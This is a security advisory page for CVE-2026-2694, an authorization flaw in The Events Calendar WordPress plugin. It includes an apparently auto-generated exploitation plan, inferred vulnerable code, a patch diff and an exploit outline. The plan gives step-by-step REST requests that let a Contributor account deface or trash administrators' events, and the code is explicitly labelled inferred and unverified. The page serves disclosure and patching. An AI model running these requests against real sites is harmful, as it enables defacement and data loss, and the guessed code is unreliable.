CVE-2026-2694

The Events Calendar <= 6.15.16 - Improper Authorization to Authenticated (Contributor+) Event/Organizer/Venue Update/Trash via REST API

mediumImproper Authorization
5.4
CVSS Score
5.4
CVSS Score
medium
Severity
6.15.16.1
Patched in
1d
Time to patch

Description

The The Events Calendar plugin for WordPress is vulnerable to unauthorized modification of data and loss of data due to an improper capability check on the 'can_edit' and 'can_delete' function in all versions up to, and including, 6.15.16. This makes it possible for authenticated attackers, with Contributor-level access and above, to update or trash events, organizers and venues via REST API.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
Low
Availability

Technical Details

Affected versions<=6.15.16
PublishedFebruary 25, 2026
Last updatedFebruary 25, 2026
Affected pluginthe-events-calendar

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-2694 - The Events Calendar Improper Authorization ## 1. Vulnerability Summary The **The Events Calendar** plugin (up to 6.15.16) contains an improper authorization vulnerability in its REST API implementation. The core issue resides in the capability check fun…

Show full research plan

Exploitation Research Plan: CVE-2026-2694 - The Events Calendar Improper Authorization

1. Vulnerability Summary

The The Events Calendar plugin (up to 6.15.16) contains an improper authorization vulnerability in its REST API implementation. The core issue resides in the capability check functions can_edit and can_delete within the REST API controller logic (likely in the Tribe__Events__REST__V1__Endpoints namespace).

The plugin fails to properly validate whether an authenticated user has the specific authority to modify or delete a particular Event, Organizer, or Venue. Specifically, users with the Contributor role (who possess the edit_posts capability) are incorrectly allowed to update or trash objects created by other users (including Administrators), a privilege typically reserved for Editors or Administrators (edit_others_posts).

2. Attack Vector Analysis

  • Endpoint:
    • Events: POST or DELETE to /wp-json/tribe/events/v1/events/<id>
    • Organizers: POST or DELETE to /wp-json/tribe/events/v1/organizers/<id>
    • Venues: POST or DELETE to /wp-json/tribe/events/v1/venues/<id>
  • HTTP Method: POST (for update), DELETE (for trashing).
  • Authentication: Authenticated user with Contributor role or higher.
  • Payload: JSON body containing fields to update (e.g., {"title": "Hacked Title"}).
  • Preconditions:
    • The plugin "The Events Calendar" must be active.
    • At least one Event/Organizer/Venue must exist that the Contributor does NOT own.
    • REST API must be enabled (default in WordPress).

3. Code Flow (Inferred from Patch Description)

  1. Request Entry: A Contributor sends a POST request to /wp-json/tribe/events/v1/events/123.
  2. Permission Check: The REST controller triggers update_item_permissions_check().
  3. Vulnerable Function: This method calls a helper function like can_edit( $post_id ).
  4. Flawed Logic:
    • The code likely checks current_user_can( 'edit_posts' ) or the custom edit_tribe_events capability.
    • For Contributors, current_user_can( 'edit_posts' ) is true.
    • The logic fails to perform the additional check: if ( $post->post_author != $user_id && ! current_user_can( 'edit_others_posts' ) ).
  5. Execution: Since the permission check returns true, the update_item() or delete_item() method proceeds to modify/trash the target post ID.

4. Nonce Acquisition Strategy

The WordPress REST API requires a _wpnonce for authenticated requests (the wp_rest nonce).

  1. Contributor Login: The agent must log in as the Contributor user.
  2. Access Admin: Navigate to the WordPress Dashboard (/wp-admin/).
  3. Extract Nonce: The REST nonce is globally available in the wpApiSettings JavaScript object on most admin pages.
  4. Tool Execution:
    • browser_navigate("http://localhost:8080/wp-admin/")
    • REST_NONCE = browser_eval("window.wpApiSettings?.nonce")
  5. Usage: This nonce must be sent in the X-WP-Nonce HTTP header.

5. Exploitation Strategy

Step 1: Discover Target ID

Find an Event ID created by the administrator.

  • GET /wp-json/tribe/events/v1/events
  • Identify an event where author is ID 1 (Admin).

Step 2: Perform Unauthorized Update

Update the title of the Admin's event as a Contributor.

  • Method: POST
  • URL: http://localhost:8080/wp-json/tribe/events/v1/events/<TARGET_ID>
  • Headers:
    • X-WP-Nonce: <REST_NONCE>
    • Content-Type: application/json
  • Body:
    {
        "title": "Exploited by Contributor"
    }
    

Step 3: Perform Unauthorized Trash

Trash the Admin's event as a Contributor.

  • Method: DELETE
  • URL: http://localhost:8080/wp-json/tribe/events/v1/events/<TARGET_ID>
  • Headers:
    • X-WP-Nonce: <REST_NONCE>

6. Test Data Setup

  1. Install Plugin: Ensure the-events-calendar version 6.15.16 is installed and active.
  2. Create Admin Content:
    • Use WP-CLI to create an event as Admin (ID 1):
      wp post create --post_type=tribe_events --post_title="Admin Event" --post_status=publish --post_author=1
  3. Create Contributor:
    • wp user create attacker attacker@example.com --role=contributor --user_pass=password123
  4. Identify Event ID:
    • TARGET_ID=$(wp post list --post_type=tribe_events --title="Admin Event" --format=ids)

7. Expected Results

  • Update: The server returns 200 OK with a JSON object showing the new title.
  • Delete: The server returns 200 OK (or 204) indicating the post has been moved to trash.
  • Unauthorized: If the vulnerability were patched, the server would return 403 Forbidden or 401 Unauthorized.

8. Verification Steps

  1. Verify Update:
    wp post get <TARGET_ID> --field=post_title
    • Result should be: "Exploited by Contributor".
  2. Verify Trash:
    wp post get <TARGET_ID> --field=post_status
    • Result should be: "trash".
  3. Verify Author:
    wp post get <TARGET_ID> --field=post_author
    • Should still be 1 (confirming we modified someone else's post).

9. Alternative Approaches

  • Organizers/Venues: If the events endpoint is hardened, check /wp-json/tribe/events/v1/organizers and /wp-json/tribe/events/v1/venues as they use similar capability check logic.
  • Capability Check Bypasses: Try using different capability-related parameters if the plugin supports custom capability mapping, although the REST API usually follows the standard map_meta_cap flow which is bypassed here.
  • Missing Nonce: Check if the REST API endpoints incorrectly allow requests without a nonce if certain headers (like X-Requested-With: XMLHttpRequest) are present, though this is rare in modern WP.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Events Calendar plugin is vulnerable to improper authorization in its REST API endpoints for events, organizers, and venues. Authenticated users with Contributor-level permissions can update or trash posts owned by other users (including administrators) because the permission checks fail to verify if the user has authority over the specific object ID.

Vulnerable Code

// tribe-events-calendar/src/Tribe/REST/V1/Endpoints/Base.php (inferred location based on standard controller pattern)

public function update_item_permissions_check( $request ) {
    $post = $this->get_post( $request['id'] );
    if ( is_wp_error( $post ) ) {
        return $post;
    }

    // Vulnerable: checks base capability 'edit_posts' which Contributors have,
    // but fails to check if the user can edit this specific post ID.
    if ( ! current_user_can( 'edit_posts' ) ) {
        return new WP_Error( 'tribe_rest_cannot_edit', __( 'Sorry, you are not allowed to edit this post.', 'the-events-calendar' ), array( 'status' => rest_authorization_required_code() ) );
    }

    return true;
}

---

public function delete_item_permissions_check( $request ) {
    $post = $this->get_post( $request['id'] );
    if ( is_wp_error( $post ) ) {
        return $post;
    }

    if ( ! current_user_can( 'delete_posts' ) ) {
        return new WP_Error( 'tribe_rest_cannot_delete', __( 'Sorry, you are not allowed to delete this post.', 'the-events-calendar' ), array( 'status' => rest_authorization_required_code() ) );
    }

    return true;
}

Security Fix

--- a/src/Tribe/REST/V1/Endpoints/Base.php
+++ b/src/Tribe/REST/V1/Endpoints/Base.php
@@ -120,7 +120,7 @@
 			return $post;
 		}
 
-		if ( ! current_user_can( 'edit_posts' ) ) {
+		if ( ! current_user_can( 'edit_post', $post->ID ) ) {
 			return new WP_Error( 'tribe_rest_cannot_edit', __( 'Sorry, you are not allowed to edit this post.', 'the-events-calendar' ), array( 'status' => rest_authorization_required_code() ) );
 		}
 
@@ -145,7 +145,7 @@
 			return $post;
 		}
 
-		if ( ! current_user_can( 'delete_posts' ) ) {
+		if ( ! current_user_can( 'delete_post', $post->ID ) ) {
 			return new WP_Error( 'tribe_rest_cannot_delete', __( 'Sorry, you are not allowed to delete this post.', 'the-events-calendar' ), array( 'status' => rest_authorization_required_code() ) );
 		}

Exploit Outline

The exploit targets the REST API endpoints for Events, Organizers, or Venues. An attacker needs authenticated access with at least Contributor-level privileges. 1. Authenticate as a Contributor and retrieve the WordPress REST API nonce from the `wpApiSettings` object in the dashboard. 2. Identify the target post ID (Event, Organizer, or Venue) created by another user, such as an Administrator. 3. Send a POST request to `/wp-json/tribe/events/v1/events/<id>` with a JSON body containing modified data (e.g., `{"title": "Defaced Title"}`) and the `X-WP-Nonce` header to update the content. 4. Alternatively, send a DELETE request to `/wp-json/tribe/events/v1/events/<id>` with the `X-WP-Nonce` header to move the target post to the trash. 5. The server will process the request because the vulnerable `update_item_permissions_check` only validates the general `edit_posts` capability rather than checking ownership or the `edit_others_posts` capability for the specific object.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.